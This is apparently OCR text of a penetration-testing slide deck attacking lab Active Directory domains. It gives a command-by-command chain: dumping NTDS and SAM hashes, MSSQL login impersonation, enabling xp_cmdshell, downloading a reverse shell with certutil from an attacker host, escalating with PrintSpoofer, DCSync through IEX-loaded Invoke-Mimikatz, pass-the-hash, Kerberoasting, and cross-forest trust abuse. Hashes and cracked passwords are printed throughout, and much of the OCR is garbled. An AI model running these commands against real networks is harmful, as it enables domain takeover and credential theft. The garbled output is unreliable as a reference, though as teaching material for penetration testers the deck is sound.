DefaultAccount:503:aad3b435b51404eecaad3b435b51404ee:31d6cfefd16ae931b73¢c59d7e0c089¢cO :::

[+] 3 to 1 tabas:
WDAGUtilityAccount:504:aad3b435b51404eecaad3b435b51404ee:ee51284c125e9ec3e827139a0d769F0d :::
p.brown:1001:aad3b435b51404eeaad3b435b51404ee:c74F21ce654235de3429F12d1c1717F0 :::
local_adm:1003:aad3b435b51404eeaad3b435b51404ee:187acefad3437248F4c465a1eb049633 :::

[+] Add 6 M h to th lat [




DOMAIN PRIVILEGE ESCALATION

Dumping NTDS.dit file

proxychains4 -q crackmapexec smb 10.10.1.13 -u joe.smith -p 'J.Password1!' --ntds

fo:::

ddcf156b0 :::

120fdb:::

824c :::

28e96:::

lec46bcb2:::

[+] ¢ i1 . .smitl A (Pwn3d!)

[+] { . ] ( I i i 1
Administrator:500:aad3b435b51404eeaad3b435b51404ee: 7facdc498ed1680c4fd1448319a8¢c04F &1
Guest:501:aad3b435b51404ecaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢c0 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cc33e56F29F7f028240c94009626a68e :::
BYTESHIELD.local\P.Brown:1105:aad3b435b51404eecaad3b435b51404ee:c74f21ce654235de3429F12d1c1717
BYTESHIELD.local\David.Williams:1106:aad3b435b51404eeaad3b435b51404ee:9d0615b4cbfc6a2c149059¢e
BYTESHIELD.local\Sql_Service:1107:aad3b435b51404eeaad3b435b51404ee:832cce4Bac54cf588dfc23c24e
BYTESHIELD.local\Joe.Smith:1108:aad3b435b51404ececaad3b435b51404ee:e80c276eb849463b4de902493010
BYTESHIELD.local\Lisa.Jones:1109:aad3b435b51404eecaad3b435b51404ee:320f923eec3d03a8f2f986327¢cd
BYTESHIELD.local\Michelle.Smith:1110:aad3b435b51404ecaad3b435b51404ee:e91ef33b57ceeffbakbaebb

BYTESHIELD.local\James.Brown:1111:aad3b435b51404eeaad3b435b51404ee:280c276eb849463b4de9024930




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

SQL Login Impersonation

proxychains4 -q crackmapexec mssgl 10.10.1.0/24 -u jessica.williams -p
'TJ).Password 1V’

- | lkmay mss . 19.3 . 24 jes Lca.wil 1
10.10.1 433 ROO1 DCOil Wi1indoy . 10 1G] |

|
) | )

Enumerating the user we discovered that the user has public role on the server, the
next thing to attempt to impersonate a high priv user



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Mssql modules

crackmapexec mssql -L




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Mssql modules

crackmapexec mssql -M mssql_priv --options

mssql
mssql _priv module options:

- enum_priv (default)

ACTION Specifies the action to perform:

= PriVesC

- rollback (remove sysadmin privilege)




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Searching high privilege user to impersonate

proxychains4 -q crackmapexec mssql 10.10.1.13 -u jessica.williams -p 'TJ.Password 1!’
-M mssql_priv

mssq!

10.10.1.13 433  ROOT-DCO1
HIELD.local)
10.10.1.13 1433  ROOT-DCO1 [+] BYTESHIELD.local\j

MSSQL_PR... 10.10.1.13

n)

You can see that we can impersonate the sa



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Let’s check our current privilege and role on the server before executing the attack

proxychains4 -q crackmapexec mssql 10.10.1.13 -u jessica.williams -p
'TJ).Password1!' -x "whoami*

crackmapexec mssql 10.10.1.13

ROOT-DCO1 Nindows 10. 7763 (name:RO0T-DCO1) (domain:BYTES

ROOT-DCO1

We only have public role on the server



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

We can list databases and users, this shows our public role

proxychains4 -q crackmapexec mssql 10.10.1.13 -u jessica.williams -p 'TJ.Password 1!’
-g "SELECT name FROM master.dbo.sysdatabases”

crackmapexec mssql 10.10.1.13 jessica.williams

1433 ROOT-DCO1 Windows 10.0 Builld 17763 (name:ROOT-DCO1) (domain:BYT

ES
IELD.local)
[+] BYTESHIELD.local\jessica.williams:TJ.Passwordl!

name

master

ROOT-DCO1 tempdb
ROOT-DCO1 model
)] msdb
_( IT-DEPT
-DCO: TrustDB




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Now let’s attempt elevate out privilege by impersonating the sa

proxychains4 -q crackmapexec mssql 10.10.1.13 -u jessica.williams -p 'TJ.Password 1!’
-M mssql priv -o ACTION privesc

—# proxychains crackmapexec mssql 10.10.1.13 jessica.williams mssql_priv ACTIO
N=privesc

10.10.1.13 1433 ROOT-DCO1 Windows 10.0 Bu 7763 (name:ROOT-DCO1) (domain:BYTES
HIELD.local)

10.10.1.13 1433  ROOT-DCO1 [+] BYTESHIELD.local\je:

MSSQL_PR... 10.10.1.13 1433 ROOT-DCO1 [+] BYTESHIELD\Jessica.Williams can
n)

MSSQL_PR... 10.10.1.13 1433 ROOT-DCO1 [+] BYTESHIELD\Jessica

We have successfully impersonated the sa, now have the role of sa on the server



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Running whoami command once again we can now that we are executing code in the
context of OS service account, the next move is to elevate OS Admin or OS System

Account
proxychains4 -q crackmapexec mssql 10.10.1.13 -u jessica.williams -p 'TJ.Password 1!’

[ 1] ol
-X whoami

-----

1ame :

[+] BYTESHIELD.local\jessica.williams:TJ.Pass!

[+] Executed command via mssqlexec

nt service\mssql$bs_sqlserver



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Transferring file to the remote machine

proxychains4 -q crackmapexec mssql 10.10.1.13 -u jessica.williams -p 'TJ.Password 1!’
--put-file ~/Shell.exe "C:\Users\Public\Shell.exe"
- mssql 10.10.1.13 jessica.williams i ~/Shell.ex

ROOT-DCO1 Windows 10.0 Build 17763

ROOT-DCO1 [+] BYTESHIELD.local\jessica.williams:TJ.Passwordl! (Pwn3d!

ROOT-L

Lol LOPY / L/ eLl.exe to C:\Users\PubLic\Snhe ]' LeBXE

)
ROOT-DCO1 S1ze 1S 7168
)]

ROOT-DCO1 e has been uploaded on the remote machine



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Let’s confirm if the file is there

proxychqms4 -q crackmapexec mssql 10 10 1. 13 -U |e55|co| williams -p 'TJ. Poussword]'

crackmapexec mssql 10.10

ROOT-DCO1 Windows
ROOT-DCO1 [+] BYTESHIELD.local\
[+] Executed commanc

Volume in drive C has no label.

Volume Serial Number is 4CCO-E6EC

Directory of C:\Users\Public

12/13/2023 03:23 AM 7,168 Shell.exe
1 File(s) 7,168 bytes

0 Dir(s) 32,671,961,088 bytes free

o 13 1
o 13 1
.13 1
W 1
13 1
s 13 1
v 1
33 1




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Now let’s start a listener on our kali and run the reverse shell we uploaded to get an

interactive service account reverse shell
# nc 8443
listening on [an) -
conn t 1 )1] from (UNKNOWN )
Micr N1t sion 10,0.17763.11]

(c) 2018 Microsoft Corporation. All rights
C:\Windows\system3
whoami

nt service\mssql$bs _sqglserver

em32>hostname

ROOT-DCO1

Here we go, now let’s attempt to elevate to Admin or system using printSpoofer



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

| am going transfer to programs the same way | used to transfer the reverse shell, PrintSpoofer
and mimikatz

- S ' S
=1 =K Che

)0

nd pr ersonatePrivilege

d pipe 1

We now have an elevated shell running with context of the DC, it is actually a system level
shell



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Aancq
UTHORI1
Mandato
AUTHORI
Mandato
AUTHORI
Mandat
SHIELD
indato

HIELD®




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

All the things we did with crackmapexec has been stored in it’s database we can
always query the database to retrieve the data




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Retrieving information about the all the hosts we interacted with




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Domain user Group

— 1

cmedb (default)(smb)

~ -~
mmm

e i

ROOT-DCO1

m.™ Im
M~
o/ N/

m
e e
O 0

| T
T

| T

i T
IC
TELD
TE
EE
' &
I

| T

mim m



DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Retrieving shares

computer

ROOT-DCO1

ROOT-DCO 3S-Share | | 1 User(s 1 Users
ROOT-DCO & Default share @ User(s) ) Users

LW

ROOT-DCO \ JGON 00N server share 1 Userd(s D Users

gon server




DOMAIN PRIVESC — MSSQL SERVER-
CRACKMAPEXEC

Mssql info




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

The previous impersonation we exploited with CrackMapExec is a since

impersonation, but this time we are going to walkthrough exploiting nested
impersonation with impacket

 \ FOOLY™ Kall )= |~




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

This is the Scenario David as an msSqgl login has public role on the server, he can
impersonate kevin while kevin inturn can impersonate sa

SELECT SYSTEM_USER

Encryption requlr

ENVCHANGE( DATABAS
ENVCHANGE( LANGU
ENVCHANGE ( PACS
INFO(ROOT

INFO( ROOT

ACK :

Pres:




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

Checking if we have sysadmin rights

SELECT IS_SRVROLEMEMBER('sysadmin')

File Actions Edit View Help

SQL (David dboamaster)> S f ¢ S SRVROLEMEMBER( "'sysadmin’)

sQL (David guestamaster)> |}




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

After running the command we can now see we are now kevin and we still don’t have
sysadmin rights, but the next impersonation is going to give us sysadmin rights

EXECUTE AS LOGIN = 'Kevin’
SELECT IS_SRVROLEMEMBER('sysadmin')

sQL (Dawvid guestagmaster )> EXECUTE AS LOGIN =

SQL (Kevilin Kevingmaster )> SELECT SYSTEM_USER

(Kevin Kevingmaster )> SELEC S SRVROLEMEMBER( "sysadmin’® )

SQL (Kevin




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

Here we go, we are now sa
EXECUTE AS LOGIN = 'sa’
SELECT SYSTEM_USER

SELECT IS_SRVROLEMEMBER('sysadmin')

i < |
cdboamn ! :



DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

After enabling xp_cmdshell and checked our current user we can see that we are
executing code in the context of OS service account

sp_configure 'show advanced options’, '1"

RECONFIGURE

sp_configure 'xp_cmdshell’, '1°

RECONFIGURE




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

Intrestingly SelmpersonatePrivilege is enabled, the next thing is to upload a reverse
to the remote machine




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

Uploading reverse shell to the remote machine

EXEC master..xp_cmdshell "certutil -urlcache -f http://192.168.0.101 /Shell.exe
C:\Users\Public\Shell.exe"

LJ(:!L (Sa master 3 . L Certutlite - =] EED /73 « 100 X€ L. \USEerIS ‘H)HU \ 1C\ane l ‘ EAC

output

b de < Al 3 z

k%%%x OnlLine
CertUtil: -URLCache

NULL



DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

Executing the reverse shell on the remote machine

EXEC master..xp_cmdshell "certutil -urlcache -f http://192.168.0.101 /Shell.exe
C:\Users\Public\Shell.exe"




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

After executing the shell on the target machine going back to our netcat listener we
got a very good morning greeting with an interactive reverse shell

—

Listening on [ai D
to [192.168. 1] from (UNKNOWN) [192.168.0.157] 60156

onnect
crosoft wind \ 10.0.17763.1]
: % A « All rights reserved.

\Windows\system3
whoamil

~ o~ SN S -~ \ mc - q -
service\mssqLa»pbs

:\Wilndows\syst



DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

Whoami shows we are running as OS service account, let’s elevate to system shell
using printspoofer

ntSpoofer.exe -i -c cmd

\Users\Public>PrintSpoof

cmd

......

C:\Wilindows\svyste

wh

2>hostnai



DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

We now have system level shell




DOMAIN PRIVESC — MSSQL SERVER - IMPACKET

Performing DCSync
Isadump::desync /All

maimailat: i | sacdump z: o«




PASS THE HASH

A Pass-the-Hash (PtH) attack is a technique where an attacker captures a password
hash (as opposed to the password characters) and then passes it through for
authentication and lateral access to other networked systems. With this technique, the
attacker doesn’t need to decrypt the hash to obtain a plain text password. PtH
attacks exploit the authentication protocol, as the passwords hash remains static for
every session until the password is rotated. Attackers commonly obtain hashes by
scraping a system’s active memory and other techniques.



PASS THE HASH

We have been using clear text password to authenticate, dumping and Cracking
NTLM password hashes, the question here is, what if we are not able to crack the
hash and recover the clear text password since the technique rely on wordlist? that’s
when pass the hash come into play, we are going to leverage the pass the hash
functionality with Impacket and CrackMapExec to Perform Pass the hash attack
against protocol like WsMan, SMB, MSSQL and RDP.



PASS THE HASH

Pass the hash with CrackMapExec against SMB

proxychains4 -q crackmapexec smb 10.10.1.13 -u David.williams -H
9d0615b4cbfcb6a2c14905%9eddcf156b0 --shares

proxychains4 -q crackmapexec smb 10.10.1.13 -u David.williams -H
9d0615b4cbfcb6a2c14905%9eddcf156b0 -x "whoami"

[+] & { (Pwn3d!)

[+]
Share ermissions

ADMINS READ ,WRITE Remote Admin
BS-Share READ ,WRITE

READ ,WRITE Default share

READ Remote IPC
NETLOGON READ ,WRITE Logon server share
SYSvVOL READ Logon server share

+7 f
[+] |
byteshield\david.williams



PASS THE HASH

We passed the hash to authenticate against SMB protocol, now we will attempt to
pass the hash against mssql

proxychains4 -q crackmapexec mssqgl 10.10.1.13 -u Jessica.williams -H
0ff636843056b5a523b840944794dbb4 -x "whoami*

proxychains4 -q crackmapexec mssql 10.10.1.13 -u Jessica.williams -H
0ff636843056b5a523b840944794dbb4 -x "ipconfig"



PASS THE HASH

Here we go, code execution on the server, you are not limited to only these protocols
you can pass the against all the supported protocols

] I sy comomn
[+] Executed cc

nt service\mssql$bs_sqlserver

[+] BYTESHIELD. Local
[+] Executed cc

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix

IPvk Address. . « « o o a & o & i : 10.10.1.13
SUbnet Maske . o v eo: we o o 38 <255:255:25550

Default Gateway . . . . . . . . . : 10.10.1.1



PASS THE HASH

Pass the hash evil-wirm

proxychains4 -q evil-winrm -i 10.10.1.13 -u jessica.williams -H
Off636843056b50523b840944794dbb4

10.10 jessica.williams ) ff636843056b5a523b840944794dbb4
Evil-WinRM shell v3.5

arning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimp
emented on this machine

Info: Establishing connection to remote endpoint
1| S ssica.Williams\Documents> hostname

RC “I-U 01
] ] Williams\Documents> whoami

byteshield\jessica



PASS THE HASH

Pass the hash with Impacket-psexec we can spawn system shell with NTLM password
hashes the domain admin

proxychains4 -q impacket-psexec -hashes
aad3b435b51404eeaad3b435b51404ee:9d0615b4cbfcba2c1 49059eddcf156b

0 David.Williams@10.10.1.13




PASS THE HASH

Dumping secret files of the domain

proxychains4 -q impacket-secretsdump -hashes
aad3b435b51404eeaad3b435b51404ee:9d0615b4cbfcba2c1 49059eddcf156b
0 David.Williams@10.10.1.13




PASS THE HASH

Authenticating against Mssql Server, all the tools under Impacket suite have —hashes
option for PTH

proxychains4 -q impacket-mssqlclient -windows-auth -hashes

aad3b435b51404eeaad3b435b51404ee:0ff636843056b5a523b840944794db
Jessica.Williams@10.10.1.13




PASS THE HASH

Passing the hashes against RDP using xfreerdp linux RDP client

proxychains4 -q xfreerdp /v:10.10.1.13 /u:jessica.williams@BYTESHIELD.local
/pth:0ff636843056b5a523b840944794dbb4 /dynamic-resolution

ACCOUNT restrictions are preventing this
o Andiizin

user from SIgning in, For example: iank
Pranswarrcds aran’t allowedd, sigr-in tirmes are § ascd, ©3r o prolicy rosirictican han bhaoaen
enforced.




PASS THE HASH

We attempted to pass the hash with xfreerdp but we’re not allowed to do that
because Restricted Admin Mode, which is disabled by default, should be enabled on

the target host; otherwise we will be denied access, we need to spawn system shell
and enable it then we can retry and see what happens

We can enable it with following command

reg add HKLM\ System\CurrentControlSet\Control\Lsa /t REG_DWORD /v
DisableRestrictedAdmin /d 0x0 /f



PASS THE HASH

Let’s try to reconnect, hopefully it works




CROSS-FOREST TRUST ATTACK

Forest trust Overview

Active Directory Domain Services (AD DS) provides security across multiple domains or forests through domain
and forest trust relationships. Before authentication can occur across trusts, Windows must first check if the
domain being requested by a user, computer, or service has a trust relationship with the domain of the
requesting account.

To check for this trust relationship, the Windows security system computes a trust path between the domain
controller (DC) for the server that receives the request and a DC in the domain of the requesting account.

The access control mechanisms provided by AD DS and the Windows distributed security model provide an
environment for the operation of domain and forest trusts. For these trusts to work properly, every resource or
computer must have a direct trust path to a DC in the domain in which it is located.

The trust path is implemented by the Net Logon service using an authenticated remote procedure call (RPC)
connection to the trusted domain authority. A secured channel also extends to other AD DS domains through
interdomain trust relationships. This secured channel is used to obtain and verify security information, including
security identifiers (SIDs) for users and groups.



CROSS-FOREST TRUST ATTACK

Cross-Forest users Enumeration

Get-DomainUser -Domain TRUSTEDCORP.local -Properties
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Low hanging fruits, ASREProastable account

Get-DomainUser -PreAuthNotRequired -Domain TRUSTEDCORP.local

r1nuUser reAuthNotRequlired Domain TRUSTEDCORP.

19:48:58] LDAP Signing NOT Enforced!
Michelle Johnson
CN=M1chel le lohnson
: Michel L¢ Johnson
GUID . [

i CL4e?2/709 Hhlaa L

ountControl : NORMAI ACCOUNT 4260352

DONT EXPIRE PASSWORD
DONT ) PREAUTH
ount - )
1601

1601

rouplDbD

( ountName lohn

ccountily

rerincilp: Jlohnsona TRUSTEDCORP . 1

v’)t'vx:,.,‘.‘f cContaie * 4 ( D¢ .'.'H‘vi[iﬂ\“-.‘|',|“
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Cross-Forest Trust ASREProasting

proxychains4 -q impacket-GetNPUsers TRUSTEDCORP.local/ -dc-ip 10.10.1.12 -no-
pass -k -usersfile frusers.txt
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Cracking the Ticket with hashcat

\hashcat.exe -a 0 -m 18200 .\Kerberos_tgs.txt .\PasswordList.txt

> ]

BPS C:\Users\mohas\Desktop\hashcat-6.2.6> .\hashcat.exe 1820 .\Kerberos_tgs.txt .\PasswordList.txt
hashcat (v6.2.6) starting

BEither the specified hash mode does not exist in the official repository,
or the file(s) could not be found. Please check that the hash mode number 1is
correct and that the files are in the correct place.

he wordlist or mask that you are using is too small.

his means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.

or tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

Skrb5asrep$23iMichelle. Johnson@TRUSTEDCORP. LOCAL : 525068d1800e4470741375328427c25a%043d86682fdbb4625c47b42e5c5a35796309b61d03F8299fb
068894a5eas5c/d434e22ea3574dab58e1515415599c2ad1868803c/3afc2986eb641fabadef6219/51467b11910d537189184a2c986fdbe3b6df3d5ccdb03987e2fc/
0091e2beeBeb/255194d26c8585d0be91b41c0430486d3648206fd4add8f/ffd4af/df85Td/916dcc30643cbb199e908cb087251e2fbdaB081f4act/Tb008437ba51c5
8/7424ed1b91dd9elbdb1dfb/d9024ab4/3baeldlalb6l43eb20333892aa94al0cbed4calb33337b16d37831/83533c42d3dasaf24fce530fbdfa3bb639e0b621901b81
020977da59cff4ba/009c414b1beb%058b06b6/1bc878d:M. Passwordl !




CROSS-FOREST TRUST KERBEROASTING

Retrieving a Kerberoastable Account

proxychains4 -q impacket-GetUserSPNs TRUSTEDCORP.local /Michelle.Johnson

—(root® kali)-[~]
L—ﬁ proxycl cket-GetUserSPNs TRUSTEDCORP.local/Michelle.Johnson

Impacket v0.11.0 - Copyright 2023 Fortra

Password:

ServicePrincipalName Name MemberOf

Delegation

D

p Policy Creator Owners,CN=Users,DC=TRU
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Requesting the TGS of the SPN Account

proxychains4 -q impacket-GetUserSPNs TRUSTEDCORP.local /Michelle.Johnson -
request
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Cracking the Ticket with hashcat

.\hashcat.exe -a 0 -m 13100 .\service_tgs.txt .\PasswordList.txt

PS C:\Users\mohas\Desktop\hashcat-6.2. .\hashcat.exe 13100 .\service_tgs.txt .\PasswordList.txt
hashcat (v6.2.6) starting

successfully initialized the NVIDIA main driver CUDA runtime Tibrary
Failed to initialize NVIDIA RTC library

* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
CUDA SDK Toolkit required for proper device support and utilization.
Falling back to OpenCL runtime.

The wordlist or mask that you are using is too small,

This means that hashcat canmnnot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.

For tips on supplying more work, see: https: //hashcat.net/fag/morework

Approaching inal keyspace workload adjusted.

A 7 -.dl/lL ,ul J ‘vice "dc33ac873cl7b2aes @ Ad7
46 0 VAR 7 22dE 1Ib93858f dbce7 24104 )
f DaBB8e9cd9b6as5f9ebc582F Hl«\l)h""‘)ﬂ ﬁ,’ 5 81 Hh()Hnl‘)OlLll D_S]H'}HA, 447 FObF409906a37 2af75b48fb62ef37b6a7dcfaeb
f Sxf44h.,|h4|)|P(J"-r‘(,)f 3a8f6clO01471889b59b4ed06c/ 33887 ()4d]|1()¢‘(14 OcaZ232e90331cODa82cd4ct6l1ab801b0ac9lfa0al3292e540fFdadb5e94 ?(’.1|)I)H] d38a45
/b8Be8db57becdf42efadale0adZ2cfds56970b14a0fd0e341807bd7 fff9caff3lead2al59cdb6cd6f2366dcOb2f48Fac844cb02b0b7 alb60236093F6609ab36bafs )I)‘I
faalbledaab9fd40210dFff6480ccbh/ caOb0309f0 ’481 efebfOleOlbelf/ ')‘)r*,’(),’( 26cH61282d31b53ac939431F00ec0bl1534adl 5e3/2056cc l)hll
57150ac 5()()(]‘)‘).’/')‘4(1()”' F26bL3bbecalfdcd397cclfObE2Ibad9d9e93c7219dr19a282881f81887119c/7d27162a6438¢235313819b1b1r74c6/ .i()('l)(‘(
65d2¢7db116284a53490d96cf2cbf35a7e0016Fef3dd421c313d7755d1c3bd1365768554995641T876c56Te6rrb889497 lly()))’% 01 )().1'18 y/2a8 i
13eecalf97b626d613d39303812e445b889 731565bad750a8b2114db3415c23c3a9578a3el15cbb 3(;]) S5clec30425e8286aa7 5b57da03c54b
3 > 391c Hbj‘)lll lu ~15cc . dc924b05326bad92786140c684ccbec32c707T301aal7030efdO '|Ul d8288 1
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Enumerating Foreign Group Membership

Get-DomainForeignGroupMember -Domain TRUSTEDCORP.local
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We discovered the SIDs of some users with foreign group membership, now we need
to convert the SIDs to name to identify the users

$name = Convert-SidToName S-1-5-21-2650123447-3108711000-1796582875-
1113

$name2 = Convert-SidToName S-1-5-21-2650123447-3108711000-
1796582875-1109




CROSS-FOREST TRUST ATTACK

Converting users SIDs to names we’re able to identify 2 users jessica.Williams as member of
local administrators group and lisa.jones an member of Remote management group we can
move laterally

Creating Powershell Session

$SecPassword = ConvertTo-SecureString "L.Password1!" -AsPlainText -Force

$Cred = New-Object
System.Management.Automation.PsCredential("BYTESHIELD\Lisa.Jones",$SecPassword)

Invoke-Command -ComputerName TRUSTED-DCO3.TRUSTEDCORP.local -ScriptBlock
{hostname;ipconfig} -Credential $Cred



CROSS-FOREST TRUST ATTACK

Using Script Block to execute code

sword)
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We can Create Powershell interactive Session to the Foreign Dc

Enter-PsSession -Computername TRUSTED-DCO3.TRUSTEDCORP.local -Credential

| TRUSTED-DC@3.
'RUSTED-DCO3
whoami

| TRUSTED-DCO3.TRUSTEDCORP.local]: PS C:\Users\Lisa.Jones\Documents> whoaml

pytesnhield\lL1lsa.jones




CROSS-FOREST TRUST ATTACK

Creating Secure Credential for Jessica.Williams as member of Foreign Administrators
Group

$SecPassword = ConvertTo-SecureString "TJ.Password 11" -AsPlainText -Force

$Cred = New-Object
System.Management.Automation.PsCredential("BYTESHIELD\ Jessica.Williams",$SecPa
ssword)
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Verifying Foreign group Membership

TWAD I
VORK

AN
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Dumping Isa of the Foreign DC

EX(New-Obiject
Net.Webclient).DownloadString("https: / /raw.githubusercontent.com /samratashok /nish

ang/master /Gather /Invoke-Mimikatz.ps1") ; Invoke-Mimikatz -Command
"lsadump:lsa /patch™ ; exit
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NTLM Password hashes

Having krbtgt password hashes at hand can be used to purge golden ticket
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Since we know that jessica.Williams is a member of foreign administrators group we

can attempt use evil-winrm from kali to connect to the DC and Perform DCSync or
golden ticket

proxychains4 -q evil-winrm -i 10.10.1.13 -u jessica.williams -p 'TJ.Password1!'

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
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DCSync

|IEX(New-Obiject

Net.Webclient).DownloadString("https: / /raw.githubusercontent.com /samratashok /nish

ang/master /Gather /Invoke-Mimikatz.ps1") ; Invoke-Mimikatz -Command
"lsadump::desync /A" ; exit
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DCSync

Jlones

SAM

ontrol s ( ACCOUNT DONT

Obje

Ob )«

TCsql_Se V1ice
V0010200 ( NORMALI

2 13
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Attacking SQL Server with PowerUpSQL

Invoke-WebRequest -Uri

https:/ /raw.githubusercontent.com /NetSPl /PowerUpSQL/master /PowerUpSQL.ps1 -
OutFile PowerUpSQL.ps1
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Importing the module into our current session

import-module .\PowerUpSQL.ps]1

menuv
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Enumerating Available SQL Instance running locally

Get-SQLInstancelocal

C:\> Get-SQLInstancelocal

SQL\Binn\sqlservr.exe

UNN1ng
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Enumerating SQL Instance

Get-SQllnstancelocal | Get-SQlInstanceScanUDPThreaded -Verbose

3+

Get-SQLInstancelLocal | Get-SQLInstanceScanUDPThreaded -Verbose
- pool and ion
UDP an
Found:

UDP Scan
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SQL Server Login Enumeration

Get-SQLFuzzServerlLogin
kEvil-WinRMx PS C:\> Get-SQLFuzzServerlLog

ComputerName Instance PrincipalId PrincipleName

' TRUSTED-DCO3 sa

_____ .J? , public

MKUJ U ,n,hdi 3 svsadmin , .
-DC03 TRUSTED-DCO3 266 YTESHIELD\Justin.Smith

US TFU DCO3 iR”%IFﬂ~rﬁf? 267 BYTESHIELD\Jessica.Williams

USTED-DC0O3 TRUSTED-DC )68 BYTESHIELD\L1isa.Jones

We can see 3 BYTESHIELD domain users with foreign SQL server role
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Trustworthy SQL Server Database attack
Invoke-SQLAuditPrivTrustworthy -Verbose
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We found a Database named TrustDB that has Trustworthy set to on, let’s exploit it
using Invoke-SQLServer-EscalateDbOwner

Invoke-WebRequest -Uri

https:/ /raw.githubusercontent.com /nullbind /Powershellery /master /Stable-
ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 -OutFile Invoke-SqlServer-
Escalate-Dbowner.psm1

Import-module .\Invoke-SqlServer-Escalate-Dbowner.psm1
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Menu command shows us the available functions and modules loaded in our current
powershell session

Pl oOader

Donut LOoacde
INnvo ¢

1 {
LITVOIKT®
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Privilege Elevated to sa

Invoke-SqlServer-Escalate-DbOwner -SqlServerinstance TRUSTED-
DCO3\TC_SQLSERVER
xEvil-WinRM* PS C:\> Invoke-SqlServer-Escalate-DbOwner -SqlS : STED-DC@3\TC_SQLSERVER

to TRUSTED-DCO3\T(  as BYTESHIELD\




CROSS-FOREST TRUST SQL SERVER ATTACK

Executing SQL Query

Get-SQLQuery -Verbose -Instance TRUSTED-DCO3\TC_SQLSERVER -Query "Select
@@version"

Evil-Wi PS C:\> Get-SQLQuery -Verbose -Instance TRUSTED-DC@3\TC_SQLSERVER -Query "Select ggversion"
Verbose: TRUSTED-DCO3\TC_SQLSERVER :

Columni

Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64)
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Enabling xp_cmdshell for code execution

Get-SQLQuery -Verbose -Instance TRUSTED-DCO3\TC_SQLSERVER -Query
"sp_configure 'show advanced options’, '1"”

RECONFIGURE

Get-SQLQuery -Verbose -Instance TRUSTED-DCO3\TC_SQLSERVER -Query

"sp_configure 'xp_cmdshell’, '1"
‘ PS C:\> Ge wiery Verbosi

erbose: TRUSTED-DCO3\T( ) R ¢ Connection

PS C:\> Get-SQLQuery -Verbose -Insta

TRUSTED-DCO3

Insta

TRUSTED-DCO3\T(
PS
RIICTI

TED-DCO3\T

PS |

ISTED-DCO3\TH QLSERVER : Conned

PS |



CROSS-FOREST TRUST SQL SERVER ATTACK

We can now see that we running as OS service Account

Invoke-SQLOSCmd -Verbose -Command "whoami"

PS C:\> Invoke
Creating runspace pool and
TRUSTED-DC®3 : Connection
TRUSTED-DCG3 : You are a
‘RUSTED-DC@3 : Show '

STED-DCO3 : xp

~
[
CUl .

RUSTED-DC@3 : Running command:
-losing the runspace pool

ComputerName Instance CommandResults

-DCO3 nt service\mssql$tc _sqglserver
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Executing Reverse Shell in the Context of OS Service Account

Invoke-SQLOSCmd -Verbose -Command "C:\Shell.exe"

File Actions Edit View Help

~+\s>s Tnvake-=<01 OSCmd
\~ A_II VUKNC S Ava = J
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Before executing the reverse shell we have already set up a netcat listener on kali to
catch the call back shell

| (root kali) - | 'V}

u

ersion 10.0.1776

corporation.

yZ2 >2wWwhnoamai
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Now we are going to use PrintSpoofer to elevate to system shell

C:\>PrintSpoof
IntSpoofe
] Found

o

1
[+]
-]
]

() OK

S10H 10.0.17763.

Corporation. All

m32>whoaml

We now have a running in the context of the DC, this is a system shell
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Whoami /groups shows just that




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Enumerating the Trust relationship we discovered that the forest has a child domain
named TRI.BYTESHIELD.local

Get-DomainTrust

- 1 | ! yowerview [ LR HIELD J « LC &
[2o23 12 14 20:05: LDAP Signing NOT Enforced!
(%) © Y T I HIELD L« LLiam:
P2 ain
| CERhCl1LE
BY TI HIELD




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Requirement for the attack to succeed

The KRBTGT hash for the child domain

The SID for the child domain

The name of a target user in the child domain (does not need to existl)
The FQDN of the child domain

The SID of the Enterprise Admins group of the root domain



ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Enumerating Domain Users we discovered an eye catching jessy_adm it is a common
practice for user to multiple accounts with different names privilege but the password,
it’s a common practice

Get-DomainUser -Domain TRI.BYTESHIELD.local -Properties
samaccountname,memberof

» 2% ] LA S Ay
Ayt I

